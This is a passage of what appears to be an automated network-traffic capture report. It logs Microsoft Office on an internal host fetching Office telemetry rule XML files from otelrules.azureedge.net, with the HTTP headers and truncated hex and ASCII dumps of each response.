2024-11-26 07:55:49 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:49 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:49 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:49 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b189b901-c01e-0079-3391-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075549Z-174f7845968psccphC1EWRuz9s0000000vdg000000003rcr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:49 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:49 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:50 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:50 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 580008bf-301e-0000-1d8a-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075550Z-174f7845968g6hv8hC1EWR1v2n000000034g000000001ze4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:50 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:51 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:51 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:51 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fde36bdf-c01e-000b-1591-3fe255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075551Z-174f7845968g6hv8hC1EWR1v2n000000030g0000000088gg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:51 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:51 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:51 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:51 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 6e1934d2-a01e-006f-595c-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075551Z-174f7845968ljs8phC1EWRe6en0000000v20000000001vwh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:51 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:51 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:51 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:51 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 9b9719a8-201e-0033-3491-3fb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075551Z-174f7845968g6hv8hC1EWR1v2n000000030g0000000088gt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:51 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:51 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:52 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:52 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ab6eb442-501e-0035-0e91-3fc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075552Z-174f7845968ljs8phC1EWRe6en0000000uxg000000008zr0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:55:52 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:52 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:52 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:52 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 951aba40-201e-0085-5291-3f34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075552Z-174f7845968swgbqhC1EWRmnb40000000vcg0000000010y0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:52 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:53 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:53 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:53 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2150929f-401e-0064-4382-3f54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075553Z-174f7845968j6t2phC1EWRcfe80000000v90000000005zxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:53 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:53 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:54 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:53 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 97972df5-901e-008f-1591-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075553Z-174f7845968v75bwhC1EWRuqen0000000g3g0000000048c3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:54 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:53 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:54 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:54 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 32ac4486-a01e-0050-5791-3fdb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075554Z-174f7845968psccphC1EWRuz9s0000000vfg0000000014zs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:54 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:54 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:54 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:54 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 32ac451f-a01e-0050-6491-3fdb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075554Z-174f78459685m244hC1EWRgp2c0000000uwg00000000a78y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:54 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:54 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
